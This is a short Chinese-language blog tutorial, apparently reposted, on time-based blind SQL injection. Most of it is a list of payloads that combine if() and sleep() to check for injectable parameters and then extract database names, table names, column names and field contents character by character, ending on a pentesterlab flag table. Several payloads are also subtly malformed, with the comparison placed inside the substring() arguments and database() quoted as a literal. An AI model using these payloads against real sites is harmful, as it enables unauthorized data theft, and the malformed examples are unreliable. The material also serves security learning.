SQL时间型注入

本文详细介绍了SQL时间型注入的原理及检测方法,通过使用sleep()函数和if()函数组合,实现对数据库长度、名字、表名、列名以及具体字段内容的判断。通过二分法提高注入效率。

SQL时间型注入

  判断时间型注入时,只要让sleep()函数执行成功,那么就可以根据回显时间判断是否为时间型注入

  在时间型注入中,常常用到if()函数,if(语句一,语句2,语句3),如果语句一为真,执行语句2,否则执行语句3

  几个常用的判断函数,substring(),length,user(),database(),下面是几个判断时间型注入的常见语句

    ' and if(1=0,1, sleep(10)) --+

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

 

   type=sleep(3)--+  这里有个参数type,判断出存在时间注入,那么接下来我们就可以和盲注型注入差不多进行注入,在进行字符判断时,可以使用二分法加快速率

  1.  判断数据库长度

    type=if(length(database())=12,sleep(2),100)--+

     2.    判断数据库名字

    type=if(substring(database(),1,1)='p',111,sleep(3))--+

  3.  判断表名

    type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

     4.    判断列名

    type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit

0,1),1,1='a'),11111,sleep(1))--+

     5.    判断具体字段内容

    type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+ 

转载于:https://www.cnblogs.com/shuaixiaocao/p/11305268.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值